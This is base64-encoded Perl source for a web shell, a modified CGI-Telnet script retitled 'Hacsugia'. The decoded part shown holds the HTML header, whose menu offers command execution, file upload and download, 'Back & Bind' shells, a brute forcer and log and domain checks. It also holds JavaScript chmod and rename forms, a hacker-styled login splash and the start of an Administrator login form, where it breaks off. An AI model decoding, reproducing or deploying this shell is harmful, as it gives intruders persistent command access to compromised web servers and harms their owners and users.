S0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFByaW50cyB0aGUgSFRNTCBQYWdlIEhlYWRlcgojIEFyZ3VtZW50IDE6IEZvcm0gaXRlbSBuYW1lIHRvIHdoaWNoIGZvY3VzIHNob3VsZCBiZSBzZXQKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUHJpbnRQYWdlSGVhZGVyCnsKCSRFbmNvZGVkQ3VycmVudERpciA9ICRDdXJyZW50RGlyOwoJJEVuY29kZWRDdXJyZW50RGlyID1+IHMvKFteYS16QS1aMC05XSkvJyUnLnVucGFjaygiSCoiLCQxKS9lZzsKCW15ICRkaXIgPSRDdXJyZW50RGlyOwoJJGRpcj1+IHMvXFwvXFxcXC9nOwoJcHJpbnQgIkNvbnRlbnQtdHlwZTogdGV4dC9odG1sXG5cbiI7CglwcmludCA8PEVORDsKPGh0bWw+CjxoZWFkPgo8bWV0YSBodHRwLWVxdWl2PSJjb250ZW50LXR5cGUiIGNvbnRlbnQ9InRleHQvaHRtbDsgY2hhcnNldD1VVEYtOCI+Cjx0aXRsZT5IYWNzdWdpYTwvdGl0bGU+CgokSHRtbE1ldGFIZWFkZXIKCjwvaGVhZD4KPHN0eWxlPgpib2R5ewpmb250OiAxMHB0IFZlcmRhbmE7Cn0KdHIgewpCT1JERVItUklHSFQ6ICAjM2UzZTNlIDFweCBzb2xpZDsKQk9SREVSLVRPUDogICAgIzNlM2UzZSAxcHggc29saWQ7CkJPUkRFUi1MRUZUOiAgICMzZTNlM2UgMXB4IHNvbGlkOwpCT1JERVItQk9UVE9NOiAjM2UzZTNlIDFweCBzb2xpZDsKY29sb3I6ICNmZjk5MDA7Cn0KdGQgewpCT1JERVItUklHSFQ6ICAjM2UzZTNlIDFweCBzb2xpZDsKQk9SREVSLVRPUDogICAgIzNlM2UzZSAxcHggc29saWQ7CkJPUkRFUi1MRUZUOiAgICMzZTNlM2UgMXB4IHNvbGlkOwpCT1JERVItQk9UVE9NOiAjM2UzZTNlIDFweCBzb2xpZDsKY29sb3I6ICMyQkE4RUM7CmZvbnQ6IDEwcHQgVmVyZGFuYTsKfQoKdGFibGUgewpCT1JERVItUklHSFQ6ICAjM2UzZTNlIDFweCBzb2xpZDsKQk9SREVSLVRPUDogICAgIzNlM2UzZSAxcHggc29saWQ7CkJPUkRFUi1MRUZUOiAgICMzZTNlM2UgMXB4IHNvbGlkOwpCT1JERVItQk9UVE9NOiAjM2UzZTNlIDFweCBzb2xpZDsKQkFDS0dST1VORC1DT0xPUjogIzExMTsKfQoKCmlucHV0IHsKQk9SREVSLVJJR0hUOiAgIzNlM2UzZSAxcHggc29saWQ7CkJPUkRFUi1UT1A6ICAgICMzZTNlM2UgMXB4IHNvbGlkOwpCT1JERVItTEVGVDogICAjM2UzZTNlIDFweCBzb2xpZDsKQk9SREVSLUJPVFRPTTogIzNlM2UzZSAxcHggc29saWQ7CkJBQ0tHUk9VTkQtQ09MT1I6IEJsYWNrOwpmb250OiAxMHB0IFZlcmRhbmE7CmNvbG9yOiAjZmY5OTAwOwp9CgppbnB1dC5zdWJtaXQgewp0ZXh0LXNoYWRvdzogMHB0IDBwdCAwLjNlbSBjeWFuLCAwcHQgMHB0IDAuM2VtIGN5YW47CmNvbG9yOiAjRkZGRkZGOwpib3JkZXItY29sb3I6ICMwMDk5MDA7Cn0KCmNvZGUgewpib3JkZXIJCQk6IGRhc2hlZCAwcHggIzMzMzsKQkFDS0dST1VORC1DT0xPUjogQmxhY2s7CmZvbnQ6IDEwcHQgVmVyZGFuYSBib2xkOwpjb2xvcjogd2hpbGU7Cn0KCnJ1biB7CmJvcmRlcgkJCTogZGFzaGVkIDBweCAjMzMzOwpmb250OiAxMHB0IFZlcmRhbmEgYm9sZDsKY29sb3I6ICNGRjAwQUE7Cn0KCnRleHRhcmVhIHsKQk9SREVSLVJJR0hUOiAgIzNlM2UzZSAxcHggc29saWQ7CkJPUkRFUi1UT1A6ICAgICMzZTNlM2UgMXB4IHNvbGlkOwpCT1JERVItTEVGVDogICAjM2UzZTNlIDFweCBzb2xpZDsKQk9SREVSLUJPVFRPTTogIzNlM2UzZSAxcHggc29saWQ7CkJBQ0tHUk9VTkQtQ09MT1I6ICMxYjFiMWI7CmZvbnQ6IEZpeGVkc3lzIGJvbGQ7CmNvbG9yOiAjYWFhOwp9CkE6bGluayB7CglDT0xPUjogIzJCQThFQzsgVEVYVC1ERUNPUkFUSU9OOiBub25lCn0KQTp2aXNpdGVkIHsKCUNPTE9SOiAjMkJBOEVDOyBURVhULURFQ09SQVRJT046IG5vbmUKfQpBOmhvdmVyIHsKCXRleHQtc2hhZG93OiAwcHQgMHB0IDAuM2VtIGN5YW4sIDBwdCAwcHQgMC4zZW0gY3lhbjsKCWNvbG9yOiAjZmY5OTAwOyBURVhULURFQ09SQVRJT046IG5vbmUKfQpBOmFjdGl2ZSB7Cgljb2xvcjogUmVkOyBURVhULURFQ09SQVRJT046IG5vbmUKfQoKLmxpc3RkaXIgdHI6aG92ZXJ7CgliYWNrZ3JvdW5kOiAjNDQ0Owp9Ci5saXN0ZGlyIHRyOmhvdmVyIHRkewoJYmFja2dyb3VuZDogIzQ0NDsKCXRleHQtc2hhZG93OiAwcHQgMHB0IDAuM2VtIGN5YW4sIDBwdCAwcHQgMC4zZW0gY3lhbjsKCWNvbG9yOiAjRkZGRkZGOyBURVhULURFQ09SQVRJT046IG5vbmU7Cn0KLm5vdGxpbmV7CgliYWNrZ3JvdW5kOiAjMTExOwp9Ci5saW5lewoJYmFja2dyb3VuZDogIzIyMjsKfQo8L3N0eWxlPgo8c2NyaXB0IGxhbmd1YWdlPSJqYXZhc2NyaXB0Ij4KZnVuY3Rpb24gY2htb2RfZm9ybShpLGZpbGUpCnsKCS8qdmFyIGFqYXg9J2FqYXhfUG9zdERhdGEoIkZvcm1QZXJtc18nK2krJyIsIiRTY3JpcHRMb2NhdGlvbiIsIlJlc3BvbnNlRGF0YSIpOyByZXR1cm4gZmFsc2U7JzsqLwoJdmFyIGFqYXg9IiI7Cglkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiRmlsZVBlcm1zXyIraSkuaW5uZXJIVE1MPSI8Zm9ybSBuYW1lPUZvcm1QZXJtc18iICsgaSsgIiBhY3Rpb249JycgbWV0aG9kPSdQT1NUJz48aW5wdXQgaWQ9dGV4dF8iICsgaSArICIgIG5hbWU9Y2htb2QgdHlwZT10ZXh0IHNpemU9NSAvPjxpbnB1dCB0eXBlPXN1Ym1pdCBjbGFzcz0nc3VibWl0JyBvbmNsaWNrPSciICsgYWpheCArICInIHZhbHVlPU9LPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWEgdmFsdWU9J2d1aSc+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ZCB2YWx1ZT0nJGRpcic+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ZiB2YWx1ZT0nIitmaWxlKyInPjwvZm9ybT4iOwoJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoInRleHRfIiArIGkpLmZvY3VzKCk7Cn0KZnVuY3Rpb24gcm1fY2htb2RfZm9ybShyZXNwb25zZSxpLHBlcm1zLGZpbGUpCnsKCXJlc3BvbnNlLmlubmVySFRNTCA9ICI8c3BhbiBvbmNsaWNrPVxcXCJjaG1vZF9mb3JtKCIgKyBpICsgIiwnIisgZmlsZSsgIicpXFxcIiA+IisgcGVybXMgKyI8L3NwYW4+PC90ZD4iOwp9CmZ1bmN0aW9uIHJlbmFtZV9mb3JtKGksZmlsZSxmKQp7Cgl2YXIgYWpheD0iIjsKCWYucmVwbGFjZSgvXFxcXC9nLCJcXFxcXFxcXCIpOwoJdmFyIGJhY2s9InJtX3JlbmFtZV9mb3JtKCIraSsiLFxcXCIiK2ZpbGUrIlxcXCIsXFxcIiIrZisiXFxcIik7IHJldHVybiBmYWxzZTsiOwoJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoIkZpbGVfIitpKS5pbm5lckhUTUw9Ijxmb3JtIG5hbWU9Rm9ybVBlcm1zXyIgKyBpKyAiIGFjdGlvbj0nJyBtZXRob2Q9J1BPU1QnPjxpbnB1dCBpZD10ZXh0XyIgKyBpICsgIiAgbmFtZT1yZW5hbWUgdHlwZT10ZXh0IHZhbHVlPSAnIitmaWxlKyInIC8+PGlucHV0IHR5cGU9c3VibWl0IGNsYXNzPSdzdWJtaXQnIG9uY2xpY2s9JyIgKyBhamF4ICsgIicgdmFsdWU9T0s+PGlucHV0IHR5cGU9c3VibWl0IGNsYXNzPSdzdWJtaXQnIG9uY2xpY2s9JyIgKyBiYWNrICsgIicgdmFsdWU9Q2FuY2VsPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWEgdmFsdWU9J2d1aSc+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ZCB2YWx1ZT0nJGRpcic+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ZiB2YWx1ZT0nIitmaWxlKyInPjwvZm9ybT4iOwoJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoInRleHRfIiArIGkpLmZvY3VzKCk7Cn0KZnVuY3Rpb24gcm1fcmVuYW1lX2Zvcm0oaSxmaWxlLGYpCnsKCWlmKGY9PSdmJykKCXsKCQlkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiRmlsZV8iK2kpLmlubmVySFRNTD0iPGEgaHJlZj0nP2E9Y29tbWFuZCZkPSRkaXImYz1lZGl0JTIwIitmaWxlKyIlMjAnPiIgK2ZpbGUrICI8L2E+IjsKCX1lbHNlCgl7CgkJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoIkZpbGVfIitpKS5pbm5lckhUTUw9IjxhIGhyZWY9Jz9hPWd1aSZkPSIrZisiJz5bICIgK2ZpbGUrICIgXTwvYT4iOwoJfQp9Cjwvc2NyaXB0Pgo8Ym9keSBvbkxvYWQ9ImRvY3VtZW50LmYuQF8uZm9jdXMoKSIgYmdjb2xvcj0iIzBjMGMwYyIgdG9wbWFyZ2luPSIwIiBsZWZ0bWFyZ2luPSIwIiBtYXJnaW53aWR0aD0iMCIgbWFyZ2luaGVpZ2h0PSIwIj4KPGNlbnRlcj48Y29kZT4KPHRhYmxlIGJvcmRlcj0iMSIgd2lkdGg9IjEwMCUiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMiI+Cjx0cj4KCTx0ZCBhbGlnbj0iY2VudGVyIiByb3dzcGFuPTI+CgkJPGI+PGZvbnQgc2l6ZT0iNSI+JEVkaXRQZXJzaW9uPC9mb250PjwvYj4KCTwvdGQ+CgoJPHRkPgoKCQk8Zm9udCBmYWNlPSJWZXJkYW5hIiBzaXplPSIyIj4kRU5WeyJTRVJWRVJfU09GVFdBUkUifTwvZm9udD4KCTwvdGQ+Cgk8dGQ+U2VydmVyIElQOjxmb250IGNvbG9yPSIjY2MwMDAwIj4gJEVOVnsnU0VSVkVSX0FERFInfTwvZm9udD4gfCBZb3VyIElQOiA8Zm9udCBjb2xvcj0iIzAwMDAwMCI+JEVOVnsnUkVNT1RFX0FERFInfTwvZm9udD4KCTwvdGQ+Cgo8L3RyPgoKPHRyPgo8dGQgY29sc3Bhbj0iMyI+PGZvbnQgZmFjZT0iVmVyZGFuYSIgc2l6ZT0iMiI+CjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbiI+SG9tZTwvYT4gfCAKPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9Y29tbWFuZCZkPSRFbmNvZGVkQ3VycmVudERpciI+Q29tbWFuZDwvYT4gfAo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24/YT1ndWkmZD0kRW5jb2RlZEN1cnJlbnREaXIiPkdVSTwvYT4gfCAKPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9dXBsb2FkJmQ9JEVuY29kZWRDdXJyZW50RGlyIj5VcGxvYWQgRmlsZTwvYT4gfCAKPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9ZG93bmxvYWQmZD0kRW5jb2RlZEN1cnJlbnREaXIiPkRvd25sb2FkIEZpbGU8L2E+IHwKCjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWJhY2tiaW5kIj5CYWNrICYgQmluZDwvYT4gfAo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24/YT1icnV0ZWZvcmNlciI+QnJ1dGUgRm9yY2VyPC9hPiB8CjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWNoZWNrbG9nIj5DaGVjayBMb2c8L2E+IHwKPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9ZG9tYWluc3VzZXIiPkRvbWFpbnMvVXNlcnM8L2E+IHwKPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9bG9nb3V0Ij5Mb2dvdXQ8L2E+IHwKPGEgdGFyZ2V0PSdfYmxhbmsnIGhyZWY9IiMiPkhlbHA8L2E+Cgo8L2ZvbnQ+PC90ZD4KPC90cj4KPC90YWJsZT4KPGZvbnQgaWQ9IlJlc3BvbnNlRGF0YSIgY29sb3I9IiNmZjk5Y2MiID4KRU5ECn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBQcmludHMgdGhlIExvZ2luIFNjcmVlbgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQcmludExvZ2luU2NyZWVuCnsKCglwcmludCA8PEVORDsKPHByZT48c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCI+ClR5cGluZ1RleHQgPSBmdW5jdGlvbihlbGVtZW50LCBpbnRlcnZhbCwgY3Vyc29yLCBmaW5pc2hlZENhbGxiYWNrKSB7CiAgaWYoKHR5cGVvZiBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCA9PSAidW5kZWZpbmVkIikgfHwgKHR5cGVvZiBlbGVtZW50LmlubmVySFRNTCA9PSAidW5kZWZpbmVkIikpIHsKICAgIHRoaXMucnVubmluZyA9IHRydWU7CS8vIE5ldmVyIHJ1bi4KICAgIHJldHVybjsKICB9CiAgdGhpcy5lbGVtZW50ID0gZWxlbWVudDsKICB0aGlzLmZpbmlzaGVkQ2FsbGJhY2sgPSAoZmluaXNoZWRDYWxsYmFjayA/IGZpbmlzaGVkQ2FsbGJhY2sgOiBmdW5jdGlvbigpIHsgcmV0dXJuOyB9KTsKICB0aGlzLmludGVydmFsID0gKHR5cGVvZiBpbnRlcnZhbCA9PSAidW5kZWZpbmVkIiA/IDEwMCA6IGludGVydmFsKTsKICB0aGlzLm9yaWdUZXh0ID0gdGhpcy5lbGVtZW50LmlubmVySFRNTDsKICB0aGlzLnVucGFyc2VkT3JpZ1RleHQgPSB0aGlzLm9yaWdUZXh0OwogIHRoaXMuY3Vyc29yID0gKGN1cnNvciA/IGN1cnNvciA6ICIiKTsKICB0aGlzLmN1cnJlbnRUZXh0ID0gIiI7CiAgdGhpcy5jdXJyZW50Q2hhciA9IDA7CiAgdGhpcy5lbGVtZW50LnR5cGluZ1RleHQgPSB0aGlzOwogIGlmKHRoaXMuZWxlbWVudC5pZCA9PSAiIikgdGhpcy5lbGVtZW50LmlkID0gInR5cGluZ3RleHQiICsgVHlwaW5nVGV4dC5jdXJyZW50SW5kZXgrKzsKICBUeXBpbmdUZXh0LmFsbC5wdXNoKHRoaXMpOwogIHRoaXMucnVubmluZyA9IGZhbHNlOwogIHRoaXMuaW5UYWcgPSBmYWxzZTsKICB0aGlzLnRhZ0J1ZmZlciA9ICIiOwogIHRoaXMuaW5IVE1MRW50aXR5ID0gZmFsc2U7CiAgdGhpcy5IVE1MRW50aXR5QnVmZmVyID0gIiI7Cn0KVHlwaW5nVGV4dC5hbGwgPSBuZXcgQXJyYXkoKTsKVHlwaW5nVGV4dC5jdXJyZW50SW5kZXggPSAwOwpUeXBpbmdUZXh0LnJ1bkFsbCA9IGZ1bmN0aW9uKCkgewogIGZvcih2YXIgaSA9IDA7IGkgPCBUeXBpbmdUZXh0LmFsbC5sZW5ndGg7IGkrKykgVHlwaW5nVGV4dC5hbGxbaV0ucnVuKCk7Cn0KVHlwaW5nVGV4dC5wcm90b3R5cGUucnVuID0gZnVuY3Rpb24oKSB7CiAgaWYodGhpcy5ydW5uaW5nKSByZXR1cm47CiAgaWYodHlwZW9mIHRoaXMub3JpZ1RleHQgPT0gInVuZGVmaW5lZCIpIHsKICAgIHNldFRpbWVvdXQoImRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCciICsgdGhpcy5lbGVtZW50LmlkICsgIicpLnR5cGluZ1RleHQucnVuKCkiLCB0aGlzLmludGVydmFsKTsJLy8gV2UgaGF2ZW4ndCBmaW5pc2hlZCBsb2FkaW5nIHlldC4gIEhhdmUgcGF0aWVuY2UuCiAgICByZXR1cm47CiAgfQogIGlmKHRoaXMuY3VycmVudFRleHQgPT0gIiIpIHRoaXMuZWxlbWVudC5pbm5lckhUTUwgPSAiIjsKLy8gIHRoaXMub3JpZ1RleHQgPSB0aGlzLm9yaWdUZXh0LnJlcGxhY2UoLzwoW148XSkqPi8sICIiKTsgICAgIC8vIFN0cmlwIEhUTUwgZnJvbSB0ZXh0LgogIGlmKHRoaXMuY3VycmVudENoYXIgPCB0aGlzLm9yaWdUZXh0Lmxlbmd0aCkgewogICAgaWYodGhpcy5vcmlnVGV4dC5jaGFyQXQodGhpcy5jdXJyZW50Q2hhcikgPT0gIjwiICYmICF0aGlzLmluVGFnKSB7CiAgICAgIHRoaXMudGFnQnVmZmVyID0gIjwiOwogICAgICB0aGlzLmluVGFnID0gdHJ1ZTsKICAgICAgdGhpcy5jdXJyZW50Q2hhcisrOwogICAgICB0aGlzLnJ1bigpOwogICAgICByZXR1cm47CiAgICB9IGVsc2UgaWYodGhpcy5vcmlnVGV4dC5jaGFyQXQodGhpcy5jdXJyZW50Q2hhcikgPT0gIj4iICYmIHRoaXMuaW5UYWcpIHsKICAgICAgdGhpcy50YWdCdWZmZXIgKz0gIj4iOwogICAgICB0aGlzLmluVGFnID0gZmFsc2U7CiAgICAgIHRoaXMuY3VycmVudFRleHQgKz0gdGhpcy50YWdCdWZmZXI7CiAgICAgIHRoaXMuY3VycmVudENoYXIrKzsKICAgICAgdGhpcy5ydW4oKTsKICAgICAgcmV0dXJuOwogICAgfSBlbHNlIGlmKHRoaXMuaW5UYWcpIHsKICAgICAgdGhpcy50YWdCdWZmZXIgKz0gdGhpcy5vcmlnVGV4dC5jaGFyQXQodGhpcy5jdXJyZW50Q2hhcik7CiAgICAgIHRoaXMuY3VycmVudENoYXIrKzsKICAgICAgdGhpcy5ydW4oKTsKICAgICAgcmV0dXJuOwogICAgfSBlbHNlIGlmKHRoaXMub3JpZ1RleHQuY2hhckF0KHRoaXMuY3VycmVudENoYXIpID09ICImIiAmJiAhdGhpcy5pbkhUTUxFbnRpdHkpIHsKICAgICAgdGhpcy5IVE1MRW50aXR5QnVmZmVyID0gIiYiOwogICAgICB0aGlzLmluSFRNTEVudGl0eSA9IHRydWU7CiAgICAgIHRoaXMuY3VycmVudENoYXIrKzsKICAgICAgdGhpcy5ydW4oKTsKICAgICAgcmV0dXJuOwogICAgfSBlbHNlIGlmKHRoaXMub3JpZ1RleHQuY2hhckF0KHRoaXMuY3VycmVudENoYXIpID09ICI7IiAmJiB0aGlzLmluSFRNTEVudGl0eSkgewogICAgICB0aGlzLkhUTUxFbnRpdHlCdWZmZXIgKz0gIjsiOwogICAgICB0aGlzLmluSFRNTEVudGl0eSA9IGZhbHNlOwogICAgICB0aGlzLmN1cnJlbnRUZXh0ICs9IHRoaXMuSFRNTEVudGl0eUJ1ZmZlcjsKICAgICAgdGhpcy5jdXJyZW50Q2hhcisrOwogICAgICB0aGlzLnJ1bigpOwogICAgICByZXR1cm47CiAgICB9IGVsc2UgaWYodGhpcy5pbkhUTUxFbnRpdHkpIHsKICAgICAgdGhpcy5IVE1MRW50aXR5QnVmZmVyICs9IHRoaXMub3JpZ1RleHQuY2hhckF0KHRoaXMuY3VycmVudENoYXIpOwogICAgICB0aGlzLmN1cnJlbnRDaGFyKys7CiAgICAgIHRoaXMucnVuKCk7CiAgICAgIHJldHVybjsKICAgIH0gZWxzZSB7CiAgICAgIHRoaXMuY3VycmVudFRleHQgKz0gdGhpcy5vcmlnVGV4dC5jaGFyQXQodGhpcy5jdXJyZW50Q2hhcik7CiAgICB9CiAgICB0aGlzLmVsZW1lbnQuaW5uZXJIVE1MID0gdGhpcy5jdXJyZW50VGV4dDsKICAgIHRoaXMuZWxlbWVudC5pbm5lckhUTUwgKz0gKHRoaXMuY3VycmVudENoYXIgPCB0aGlzLm9yaWdUZXh0Lmxlbmd0aCAtIDEgPyAodHlwZW9mIHRoaXMuY3Vyc29yID09ICJmdW5jdGlvbiIgPyB0aGlzLmN1cnNvcih0aGlzLmN1cnJlbnRUZXh0KSA6IHRoaXMuY3Vyc29yKSA6ICIiKTsKICAgIHRoaXMuY3VycmVudENoYXIrKzsKICAgIHNldFRpbWVvdXQoImRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCciICsgdGhpcy5lbGVtZW50LmlkICsgIicpLnR5cGluZ1RleHQucnVuKCkiLCB0aGlzLmludGVydmFsKTsKICB9IGVsc2UgewoJdGhpcy5jdXJyZW50VGV4dCA9ICIiOwoJdGhpcy5jdXJyZW50Q2hhciA9IDA7CiAgICAgICAgdGhpcy5ydW5uaW5nID0gZmFsc2U7CiAgICAgICAgdGhpcy5maW5pc2hlZENhbGxiYWNrKCk7CiAgfQp9Cjwvc2NyaXB0Pgo8L3ByZT4KCjxmb250IHN0eWxlPSJmb250OiAxNXB0IFZlcmRhbmE7IGNvbG9yOiB5ZWxsb3c7Ij5Db3B5cmlnaHQgKEMpIDIwMDEgUm9oaXRhYiBCYXRyYSA8L2ZvbnQ+PGJyPjxicj4KPHRhYmxlIGFsaWduPSJjZW50ZXIiIGJvcmRlcj0iMSIgd2lkdGg9IjYwMCIgaGVpZ2g+Cjx0Ym9keT48dHI+Cjx0ZCB2YWxpZ249InRvcCIgYmFja2dyb3VuZD0iaHR0cDovL2RsLmRyb3Bib3guY29tL3UvMTA4NjAwNTEvaW1hZ2VzL21hdHJhbi5naWYiPjxwIGlkPSJoYWNrIiBzdHlsZT0ibWFyZ2luLWxlZnQ6IDNweDsiPgo8Zm9udCBjb2xvcj0iIzAwOTkwMCI+IFBsZWFzZSBXYWl0IC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC48L2ZvbnQ+IDxicj4KCjxmb250IGNvbG9yPSIjMDA5OTAwIj4gVHJ5aW5nIGNvbm5lY3QgdG8gU2VydmVyIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC48L2ZvbnQ+PGJyPgo8Zm9udCBjb2xvcj0iI0YwMDAwMCI+PGZvbnQgY29sb3I9IiNGRkYwMDAiPn5cJDwvZm9udD4gQ29ubmVjdGVkICEgPC9mb250Pjxicj4KPGZvbnQgY29sb3I9IiMwMDk5MDAiPjxmb250IGNvbG9yPSIjRkZGMDAwIj4kU2VydmVyTmFtZX48L2ZvbnQ+IENoZWNraW5nIFNlcnZlciAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuPC9mb250PiA8YnI+Cgo8Zm9udCBjb2xvcj0iIzAwOTkwMCI+PGZvbnQgY29sb3I9IiNGRkYwMDAiPiRTZXJ2ZXJOYW1lfjwvZm9udD4gVHJ5aW5nIGNvbm5lY3QgdG8gQ29tbWFuZCAuIC4gLiAuIC4gLiAuIC4gLiAuIC48L2ZvbnQ+PGJyPgoKPGZvbnQgY29sb3I9IiNGMDAwMDAiPjxmb250IGNvbG9yPSIjRkZGMDAwIj4kU2VydmVyTmFtZX48L2ZvbnQ+XCQgQ29ubmVjdGVkIENvbW1hbmQhIDwvZm9udD48YnI+Cjxmb250IGNvbG9yPSIjMDA5OTAwIj48Zm9udCBjb2xvcj0iI0ZGRjAwMCI+JFNlcnZlck5hbWV+PGZvbnQgY29sb3I9IiNGMDAwMDAiPlwkPC9mb250PjwvZm9udD4gT0shIFlvdSBjYW4ga2lsbCBpdCE8L2ZvbnQ+CjwvdHI+CjwvdGJvZHk+PC90YWJsZT4KPGJyPgoKPHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPgpuZXcgVHlwaW5nVGV4dChkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiaGFjayIpLCAzMCwgZnVuY3Rpb24oaSl7IHZhciBhciA9IG5ldyBBcnJheSgiXyIsIiIpOyByZXR1cm4gIiAiICsgYXJbaS5sZW5ndGggJSBhci5sZW5ndGhdOyB9KTsKVHlwaW5nVGV4dC5ydW5BbGwoKTsKCjwvc2NyaXB0PgpFTkQKfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIEFkZCBodG1sIHNwZWNpYWwgY2hhcnMKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgSHRtbFNwZWNpYWxDaGFycygkKXsKCW15ICR0ZXh0ID0gc2hpZnQ7CgkkdGV4dCA9fiBzLyYvJmFtcDsvZzsKCSR0ZXh0ID1+IHMvIi8mcXVvdDsvZzsKCSR0ZXh0ID1+IHMvJy8mIzAzOTsvZzsKCSR0ZXh0ID1+IHMvPC8mbHQ7L2c7CgkkdGV4dCA9fiBzLz4vJmd0Oy9nOwoJcmV0dXJuICR0ZXh0Owp9CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBBZGQgbGluayBmb3IgZGlyZWN0b3J5CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIEFkZExpbmtEaXIoJCkKewoJbXkgJGFjPXNoaWZ0OwoJbXkgQGRpcj0oKTsKCWlmKCRXaW5OVCkKCXsKCQlAZGlyPXNwbGl0KC9cXC8sJEN1cnJlbnREaXIpOwoJfWVsc2UKCXsKCQlAZGlyPXNwbGl0KCIvIiwmdHJpbSgkQ3VycmVudERpcikpOwoJfQoJbXkgJHBhdGg9IiI7CglteSAkcmVzdWx0PSIiOwoJZm9yZWFjaCAoQGRpcikKCXsKCQkkcGF0aCAuPSAkXy4kUGF0aFNlcDsKCQkkcmVzdWx0Lj0iPGEgaHJlZj0nP2E9Ii4kYWMuIiZkPSIuJHBhdGguIic+Ii4kXy4kUGF0aFNlcC4iPC9hPiI7Cgl9CglyZXR1cm4gJHJlc3VsdDsKfQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUHJpbnRzIHRoZSBtZXNzYWdlIHRoYXQgaW5mb3JtcyB0aGUgdXNlciBvZiBhIGZhaWxlZCBsb2dpbgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQcmludExvZ2luRmFpbGVkTWVzc2FnZQp7CglwcmludCA8PEVORDsKPGJyPkxvZ2luIDogQWRtaW5pc3RyYXRvcjxicj4KClBhc3N3b3JkOjxicj4KTG9naW4gaW5jb3JyZWN0PGJyPjxicj4KRU5ECn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBQcmludHMgdGhlIEhUTUwgZm9ybSBmb3IgbG9nZ2luZyBpbgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQcmludExvZ2luRm9ybQp7CglwcmludCA8PEVORDsKPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJsb2dpbiI+CkxvZ2luIDogQWRtaW5pc3RyYXRvcjxicj4KUGFzc3dvcmQ6PGlucHV0IHR